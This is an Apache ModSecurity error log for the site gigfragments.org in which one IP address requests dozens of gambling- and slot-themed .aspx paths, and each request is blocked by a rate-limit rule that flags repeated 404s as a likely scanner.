[Sat Feb 14 16:23:01.352263 2026] [:error] [pid 35135:tid 35139] [client 147.135.213.32:57820] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aZAw5YkSccJZYMDP04wPrwAAAQE"]
[Sat Feb 14 16:23:03.228362 2026] [:error] [pid 35135:tid 35156] [client 147.135.213.32:57830] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZAw54kSccJZYMDP04wPsgAAARI"]
[Sat Feb 14 16:23:05.125969 2026] [:error] [pid 63327:tid 63362] [client 147.135.213.32:57832] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZAw6S9btvSz88ToHa-yywAAAYY"]
[Sat Feb 14 16:23:07.041638 2026] [:error] [pid 21195:tid 21252] [client 147.135.213.32:57846] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZAw69_2sARdLQ6dpsWxnQAAAFU"]
[Sat Feb 14 16:23:08.954181 2026] [:error] [pid 63325:tid 63336] [client 147.135.213.32:40942] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZAw7AGMleU5keYIEc55PQAAAIc"]
[Sat Feb 14 16:23:10.887692 2026] [:error] [pid 36056:tid 36058] [client 147.135.213.32:40950] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZAw7rv3wQbSPS1vpOjregAAAAA"]
[Sat Feb 14 16:23:12.818618 2026] [:error] [pid 63327:tid 63364] [client 147.135.213.32:40954] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aZAw8C9btvSz88ToHa-y3QAAAYg"]
[Sat Feb 14 16:23:14.862050 2026] [:error] [pid 63327:tid 63365] [client 147.135.213.32:40958] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aZAw8i9btvSz88ToHa-y3gAAAYk"]
[Sat Feb 14 16:23:16.790482 2026] [:error] [pid 63325:tid 63344] [client 147.135.213.32:40968] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aZAw9AGMleU5keYIEc55PwAAAI8"]
[Sat Feb 14 16:23:18.695562 2026] [:error] [pid 36219:tid 36248] [client 147.135.213.32:52510] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aZAw9pe-m2OpEy0FNjgoCwAAA4A"]
[Sat Feb 14 16:23:20.581977 2026] [:error] [pid 7982:tid 8032] [client 147.135.213.32:52518] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aZAw-GLTp1DWAgIKqwTWNQAAAtU"]
[Sat Feb 14 16:23:22.605908 2026] [:error] [pid 35135:tid 35156] [client 147.135.213.32:52534] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aZAw-okSccJZYMDP04wPywAAARI"]
[Sat Feb 14 16:23:24.496135 2026] [:error] [pid 7982:tid 8011] [client 147.135.213.32:52540] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aZAw_GLTp1DWAgIKqwTWOQAAAsA"]
[Sat Feb 14 16:23:26.557334 2026] [:error] [pid 28883:tid 28923] [client 147.135.213.32:52550] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aZAw_mBZFo3PsPpATCzBWAAAAos"]
[Sat Feb 14 16:23:28.423884 2026] [:error] [pid 2503:tid 2507] [client 147.135.213.32:49722] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aZAxALtdZ0Z5BhXymOB3MQAAAMI"]
[Sat Feb 14 16:24:03.394215 2026] [:error] [pid 21195:tid 21233] [client 147.135.213.32:49734] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZAxI9_2sARdLQ6dpsWx4QAAAEI"]
[Sat Feb 14 16:24:05.197047 2026] [:error] [pid 28883:tid 28935] [client 147.135.213.32:57516] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZAxJWBZFo3PsPpATCzBiAAAApc"]
[Sat Feb 14 16:24:07.221797 2026] [:error] [pid 36219:tid 36269] [client 147.135.213.32:50042] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZAxJ5e-m2OpEy0FNjgoMAAAA5U"]
[Sat Feb 14 16:24:09.245072 2026] [:error] [pid 7982:tid 8016] [client 147.135.213.32:50048] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZAxKWLTp1DWAgIKqwTWYwAAAsU"]
[Sat Feb 14 16:24:11.125057 2026] [:error] [pid 36056:tid 36072] [client 147.135.213.32:50060] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZAxK7v3wQbSPS1vpOjrxwAAAA4"]
[Sat Feb 14 16:24:13.135205 2026] [:error] [pid 63327:tid 63370] [client 147.135.213.32:50074] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZAxLS9btvSz88ToHa-zGgAAAY4"]
[Sat Feb 14 16:24:15.164891 2026] [:error] [pid 36056:tid 36078] [client 147.135.213.32:50078] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZAxL7v3wQbSPS1vpOjrywAAABQ"]
[Sat Feb 14 16:24:17.045987 2026] [:error] [pid 2503:tid 2524] [client 147.135.213.32:50082] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aZAxMbtdZ0Z5BhXymOB3ZwAAANM"]
[Sat Feb 14 16:24:19.060851 2026] [:error] [pid 63325:tid 63337] [client 147.135.213.32:40214] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aZAxMwGMleU5keYIEc55XgAAAIg"]
[Sat Feb 14 16:24:20.933982 2026] [:error] [pid 36056:tid 36076] [client 147.135.213.32:40220] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aZAxNLv3wQbSPS1vpOjr1AAAABI"]
[Sat Feb 14 16:24:22.962005 2026] [:error] [pid 63325:tid 63349] [client 147.135.213.32:40232] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aZAxNgGMleU5keYIEc55ZgAAAJQ"]
[Sat Feb 14 16:24:24.982379 2026] [:error] [pid 21195:tid 21234] [client 147.135.213.32:40240] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aZAxON_2sARdLQ6dpsWx-gAAAEM"]
[Sat Feb 14 16:24:26.855859 2026] [:error] [pid 36056:tid 36080] [client 147.135.213.32:40246] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aZAxOrv3wQbSPS1vpOjr4AAAABY"]
[Sat Feb 14 16:24:28.879093 2026] [:error] [pid 21195:tid 21246] [client 147.135.213.32:33840] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aZAxPN_2sARdLQ6dpsWyAAAAAE8"]
[Sat Feb 14 16:24:30.907746 2026] [:error] [pid 36219:tid 36254] [client 147.135.213.32:33846] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aZAxPpe-m2OpEy0FNjgoOQAAA4Y"]
[Sat Feb 14 16:24:32.763746 2026] [:error] [pid 63327:tid 63378] [client 147.135.213.32:33856] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aZAxQC9btvSz88ToHa-zKgAAAZY"]
[Sat Feb 14 16:24:34.793504 2026] [:error] [pid 21195:tid 21234] [client 147.135.213.32:33868] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZAxQt_2sARdLQ6dpsWyBQAAAEM"]
[Sat Feb 14 16:24:36.824417 2026] [:error] [pid 36219:tid 36252] [client 147.135.213.32:33882] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aZAxRJe-m2OpEy0FNjgoPwAAA4Q"]
[Sat Feb 14 16:24:38.681131 2026] [:error] [pid 36056:tid 36081] [client 147.135.213.32:51528] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aZAxRrv3wQbSPS1vpOjr7gAAABc"]
[Sat Feb 14 16:24:40.704019 2026] [:error] [pid 21195:tid 21239] [client 147.135.213.32:51534] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aZAxSN_2sARdLQ6dpsWyIAAAAEg"]
[Sat Feb 14 16:24:42.716119 2026] [:error] [pid 63327:tid 63374] [client 147.135.213.32:51546] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aZAxSi9btvSz88ToHa-zOgAAAZI"]
[Sat Feb 14 16:24:44.724023 2026] [:error] [pid 7982:tid 8012] [client 147.135.213.32:51550] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aZAxTGLTp1DWAgIKqwTWfAAAAsE"]
[Sat Feb 14 16:24:46.730978 2026] [:error] [pid 36056:tid 36060] [client 147.135.213.32:51562] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZAxTrv3wQbSPS1vpOjsAgAAAAI"]
[Sat Feb 14 16:24:48.596646 2026] [:error] [pid 21195:tid 21233] [client 147.135.213.32:55998] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZAxUN_2sARdLQ6dpsWyMwAAAEI"]
[Sat Feb 14 16:24:50.597467 2026] [:error] [pid 2503:tid 2516] [client 147.135.213.32:56004] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aZAxUrtdZ0Z5BhXymOB3vAAAAMs"]
[Sat Feb 14 16:24:52.618294 2026] [:error] [pid 36056:tid 36070] [client 147.135.213.32:56020] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZAxVLv3wQbSPS1vpOjsDAAAAAw"]
[Sat Feb 14 16:24:54.628234 2026] [:error] [pid 63327:tid 63364] [client 147.135.213.32:56034] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aZAxVi9btvSz88ToHa-zWAAAAYg"]
[Sat Feb 14 16:24:56.507282 2026] [:error] [pid 36219:tid 36251] [client 147.135.213.32:56050] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aZAxWJe-m2OpEy0FNjgofgAAA4M"]
[Sat Feb 14 16:24:58.530745 2026] [:error] [pid 2503:tid 2511] [client 147.135.213.32:45410] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aZAxWrtdZ0Z5BhXymOB30wAAAMY"]
[Sat Feb 14 16:25:50.149907 2026] [:error] [pid 7982:tid 8024] [client 147.135.213.32:54162] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aZAxjmLTp1DWAgIKqwTW4QAAAs0"]
[Sat Feb 14 16:25:52.072639 2026] [:error] [pid 63327:tid 63356] [client 147.135.213.32:56072] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aZAxkC9btvSz88ToHa-zlgAAAYA"]
[Sat Feb 14 16:25:54.081648 2026] [:error] [pid 35193:tid 35216] [client 147.135.213.32:56086] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZAxks7okn8Vvg54roS5rgAAAlE"]
[Sat Feb 14 16:25:56.095090 2026] [:error] [pid 28883:tid 28931] [client 147.135.213.32:56094] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aZAxlGBZFo3PsPpATCzCGgAAApM"]
[Sat Feb 14 16:25:58.116924 2026] [:error] [pid 50402:tid 50458] [client 147.135.213.32:49706] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZAxlme0IBYhWi870t00OAAAA9Q"]
[Sat Feb 14 16:25:59.993564 2026] [:error] [pid 36056:tid 36080] [client 147.135.213.32:49710] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZAxl7v3wQbSPS1vpOjsWgAAABY"]
[Sat Feb 14 16:26:02.030738 2026] [:error] [pid 36056:tid 36078] [client 147.135.213.32:49714] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZAxmrv3wQbSPS1vpOjsXQAAABQ"]
[Sat Feb 14 16:26:03.900736 2026] [:error] [pid 50338:tid 50349] [client 147.135.213.32:49726] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZAxm_5Rq0TzbiQnlmwPoAAAAcY"]
[Sat Feb 14 16:26:05.956901 2026] [:error] [pid 21195:tid 21238] [client 147.135.213.32:49736] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZAxnd_2sARdLQ6dpsWyigAAAEc"]
[Sat Feb 14 16:26:07.975338 2026] [:error] [pid 35193:tid 35223] [client 147.135.213.32:59222] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZAxn87okn8Vvg54roS5tgAAAlg"]
[Sat Feb 14 16:26:10.003119 2026] [:error] [pid 28883:tid 28931] [client 147.135.213.32:59228] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZAxomBZFo3PsPpATCzCKQAAApM"]
